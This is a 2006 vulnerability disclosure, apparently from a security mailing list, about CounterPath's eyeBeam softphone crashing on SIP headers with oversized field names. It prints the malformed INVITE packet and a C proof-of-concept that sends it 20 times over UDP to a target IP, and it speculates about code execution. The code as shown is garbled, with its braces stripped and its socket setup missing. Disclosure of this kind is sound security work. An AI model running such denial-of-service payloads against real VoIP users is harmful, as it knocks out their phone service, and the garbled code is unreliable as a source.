CounterPath eyeBeam Handing SIP header Vulnerabilities Jan 16 2006 02:58AM
zwell sohu com

eyeBeam is a SIP softphone supporting open standards for VoIP, Video and Instant Messaging.
There is a vunerability in it while handing SIP header with a large field name like this:

INVITE sip:a (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0
Via: SIP/2.0/UDP;branch=z9hG4bK00001249z9hG4bK.00004119
From: 1249 <sip:a (at) 127.0.0 (dot) 1 [email concealed]>;tag=1249
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Receiver <sip:100012 (at) 172.16.1 (dot) 1 [email concealed]>
Call-ID: 4166@<> <--Change it to target IP
CSeq: 18571 INVITE
Expires: 1200
Max-Forwards: 70
Content-Type: application/sdp
Content-Length: 130

o=1249 1249 1249 IN IP4
s=Session SDP
c=IN IP4
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000

If you send the packet(several times) to eyeBeam when it's starting and have no call opreation,
then it will crashed for reading a unvalid address which we can control.
If you send it(several times) when it's in a call, then it will be unresponse(will not dial and receive any more) or crashed for writing a address(cannot control it now, but it's possible, and as I think, it can lead to execute code).
It looks like some memory operation error exists.

Addtion : the lastest version is affected.


eyeBeam handling SIP header DOS POC
Author : ZwelL
Email : zwell (at) sohu (dot) com [email concealed]
Blog :
Data : 2006.1.15

#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

char *sendbuf1 =
"INVITE sip:a (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0\r\n"
"Via: SIP/2.0/UDP;branch=z9hG4bK00001249z9hG4bK.00004119\r\n"
"From: test <sip:a (at) 127.0.0 (dot) 1 [email concealed]>;tag=1249\r\n"
"aaaaaaaa: test <sip:a (at) 127.0.0 (dot) 1 [email concealed]>\r\n";

char *sendbuf2 =
"CSeq: 18571 INVITE\r\n"
"Expires: 1200\r\n"
"Max-Forwards: 70\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: 130\r\n"
"o=1249 1249 1249 IN IP4\r\n"
"s=Session SDP\r\n"
"c=IN IP4\r\n"
"t=0 0\r\n"
"m=audio 9876 RTP/AVP 0\r\n"
"a=rtpmap:0 PCMU/8000\r\n";

int main(int argc, char **argv)
WSADATA wsaData;
SOCKET sock;
sockaddr_in RecvAddr;
char sendbuf[4096];
int iResult;
int port = 8376; //default is 8376, but SIP's default port is 5060

printf("eyeBeam handling SIP header DOS POC\nAuthor : ZwelL\n");
printf("Email : zwell (at) sohu (dot) com [email concealed]\nBlog :\n\n");
if(argc < 2)
printf("Usage : %s <target ip> [port]\n", argv[0]);
return 0;

if(argc == 3)
port = atoi(argv[2]);

iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");
return 0;


ZeroMemory(&RecvAddr, sizeof(RecvAddr));
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons((short)port);
RecvAddr.sin_addr.s_addr = inet_addr(argv[1]);

printf("Target is : %s\t port is : %d\r\n", argv[1], port);
for(int i=0; i<20; i++)
sprintf(sendbuf, "%sCall-ID: 4166@<%s>\r\n%s", sendbuf1, argv[1], sendbuf2);
if(SOCKET_ERROR == sendto(sock,
(SOCKADDR *) &RecvAddr,
printf("sendto wrong:%d\n", WSAGetLastError());

printf("Now check the target is crafted?\r\n");

return 1;

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